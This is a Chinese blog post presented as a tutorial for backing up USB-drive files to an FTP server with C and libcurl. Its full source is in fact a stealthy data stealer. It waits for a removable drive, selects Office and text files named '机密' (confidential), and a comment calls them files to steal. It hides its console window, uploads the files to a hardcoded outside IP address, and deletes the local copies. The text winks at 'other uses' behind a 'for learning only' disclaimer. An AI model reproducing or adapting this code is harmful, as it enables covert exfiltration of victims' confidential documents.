在数字化时代,数据的安全性变得至关重要。我们经常使用U盘来存储重要文件,但U盘的便携性也意味着它容易丢失或损坏。为了保护我们的数据,定期将U盘上的文件备份到远程服务器是一个明智的选择。本文将介绍如何使用C语言编写一个简单的脚本,实现将U盘指定文件自动备份到FTP服务器的功能。
环境准备
- VisualStudio:确保你的电脑安装了C语言编译环境。
- libcurl库:C语言的FTP库,用于与FTP服务器通信。
- U盘:一个包含你想要备份文件的U盘。
- FTP服务器:一个可以用于文件上传的FTP服务器,确保你有服务器的访问权限和必要的登录凭证。
步骤概览
- 新建C语言项目。
- 将源码导入项目,修改相关参数;
- 导入程序所需库文件,并调试。
- 打包项目为exe程序。
源码实现
#define _CRT_SECURE_NO_WARNINGS
#define _CRT_NON_CONFORMING_SWPRINTFS 1
#include <stdio.h>
#include <windows.h>
#include <curl/curl.h>
#include <string>
#pragma comment(lib, "libcurl.lib")
// 将Unicode字符串转换为UTF-8
char* utf8_encode(const wchar_t* wstr) {
int size = WideCharToMultiByte(CP_UTF8, 0, wstr, -1, NULL, 0, NULL, NULL);
if (size == 0) {
return NULL;
}
char* utf8_str = (char*)malloc(size);
if (utf8_str) {
WideCharToMultiByte(CP_UTF8, 0, wstr, -1, utf8_str, size, NULL, NULL);
}
return utf8_str;
}
// 将字符串进行URL编码
char* url_encode(const char* str) {
CURL* curl = curl_easy_init();
if (curl) {
char* encoded_str = curl_easy_escape(curl, str, 0);
curl_easy_cleanup(curl);
return encoded_str;
}
return NULL;
}
size_t read_callback(void* ptr, size_t size, size_t nmemb, void* stream) {
FILE* file = (FILE*)stream;
size_t bytesRead = fread(ptr, size, nmemb, file);
return bytesRead;
}
void FindFile(char* filename, CURL* curl, CURLcode& res)
{
char path[260] = { 0 };
sprintf(path, "%s\\%s", filename, "*.*");
WIN32_FIND_DATA finddata;
HANDLE hfile = FindFirstFile(path, &finddata);
int n = 1;
char temppath[260];
while (1)
{
if (finddata.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
if (finddata.cFileName[0] != '.')
{
sprintf(temppath, "%s\\%s", filename, finddata.cFileName);
FindFile(temppath, curl, res);
}
}
else
{
// 要偷取的文件类型以及指定的文件名,可根据需求更改
const char* extension = strrchr(finddata.cFileName, '.');
if (extension != NULL &&
(strcmp(extension, ".doc") == 0 ||
strcmp(extension, ".docx") == 0 ||
strcmp(extension, ".xls") == 0 ||
strcmp(extension, ".xlsx") == 0 ||
strcmp(extension, ".txt") == 0) &&
(strstr(finddata.cFileName, "机密1") != NULL ||
strstr(finddata.cFileName, "机密2") != NULL ||
strstr(finddata.cFileName, "机密3") != NULL))
{
sprintf(temppath, "%s\\%s", filename, finddata.cFileName);
printf("%s\n", temppath);
char mypath[260];
CreateDirectory("D:\\Backup", NULL);
sprintf(mypath, "D:\\Backup\\%s", finddata.cFileName);
CopyFile(temppath, mypath, TRUE);
//DeleteFile(temppath);
// 备份到 D:/Backup 文件夹后,调用上传到 FTP 服务器的代码
FILE* file = fopen(mypath, "rb");
if (!file) {
fprintf(stderr, "Could not open file for reading: %s\n", mypath);
continue;
}
// 使用MultiByteToWideChar转换为wchar_t*
wchar_t wfileName[260];
MultiByteToWideChar(CP_ACP, 0, finddata.cFileName, -1, wfileName, sizeof(wfileName) / sizeof(wfileName[0]));
// 设置上传文件的数据
curl_easy_setopt(curl, CURLOPT_READDATA, file);
// 将Unicode文件名转换为UTF-8
char* utf8FileName = utf8_encode(wfileName);
// URL编码文件名
char* encodedFileName = url_encode(utf8FileName);
// 设置上传文件的目标文件名
char remoteFilePath[256];
sprintf(remoteFilePath, "ftp://175.178.75.84/%s", encodedFileName);
curl_easy_setopt(curl, CURLOPT_URL, remoteFilePath);
// 执行上传操作
res = curl_easy_perform(curl);
// 检查操作是否成功
if (res != CURLE_OK)
fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
// 释放内存
free(utf8FileName);
curl_free(encodedFileName);
// 关闭文件
fclose(file);
}
}
n = FindNextFile(hfile, &finddata);
if (n == 0)
break;
}
}
// 递归删除目录及其内容
void RemoveDirectoryRecursive(const char* path) {
WIN32_FIND_DATA findData;
HANDLE hFind = FindFirstFile((std::string(path) + "\\*").c_str(), &findData);
if (hFind != INVALID_HANDLE_VALUE) {
do {
if (strcmp(findData.cFileName, ".") != 0 && strcmp(findData.cFileName, "..") != 0) {
std::string filePath = std::string(path) + "\\" + findData.cFileName;
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
// 递归删除子目录
RemoveDirectoryRecursive(filePath.c_str());
}
else {
// 删除文件
DeleteFile(filePath.c_str());
}
}
} while (FindNextFile(hFind, &findData) != 0);
FindClose(hFind);
}
// 删除空目录
RemoveDirectory(path);
}
int main()
{
char diskPath[5] = { 0 };
DWORD allDisk = 0;
int i = 0;
while (1)
{
allDisk = GetLogicalDrives(); //00000000 00000000 00000000 00011100
for (i = 0; i < 10; i++) //假设最多10个盘符
{
if ((allDisk & 1) == 1) //A B C D E F G H I J K
{
sprintf(diskPath, "%c:", 'A' + i);
if (GetDriveType(diskPath) == DRIVE_REMOVABLE)
break;
}
allDisk = allDisk >> 1; //往右移动一位
}
if (GetDriveType(diskPath) == DRIVE_REMOVABLE)
break;
}
// 设置链接器选项,使程序不显示控制台窗口
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
CURL* curl;
CURLcode res;
// 初始化libcurl
curl_global_init(CURL_GLOBAL_ALL);
// 创建CURL句柄
curl = curl_easy_init();
if (curl) {
// 如下内容自行更改为你的ftp地址、用户名和密码
// 设置FTP服务器地址
curl_easy_setopt(curl, CURLOPT_URL, "ftp://127.0.0.1");
// 设置用户名和密码
curl_easy_setopt(curl, CURLOPT_USERPWD, "admin:123456");
// 设置上传文件的回调函数和数据
curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
// 设置上传文件的标志
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
// 调用备份到 D:/Backup 的函数
FindFile(diskPath, curl, res);
// 检查FTP上传是否成功,如果成功就删除备份目录,失败不删
if (res != CURLE_OK) {
fprintf(stderr, "FTP upload failed: %s\n", curl_easy_strerror(res));
// 处理上传失败的情况,可以添加适当的错误处理代码
}
else {
// 清理CURL句柄
curl_easy_cleanup(curl);
// 全局清理
curl_global_cleanup();
// 删除备份目录
RemoveDirectoryRecursive("D:\\Backup");
}
return 0;
}
}
相关文件下载地址:点击下载
注意事项
- 在实际应用中,你可能需要根据U盘的挂载路径和文件类型进行相应的调整。
- 此程序的其他用途不必多说,懂得都懂!
- 此源码仅供学习使用,请勿用于违法用途!
结语
- 此项目是作者在大二期末前一个星期挑灯夜战完成的,虽然代码结构简单但是对于初学者来说也是颇具挑战性,好在最终也是达到了目的,希望这篇博文对你有所帮助!如果你有任何问题或建议,欢迎在评论区留言。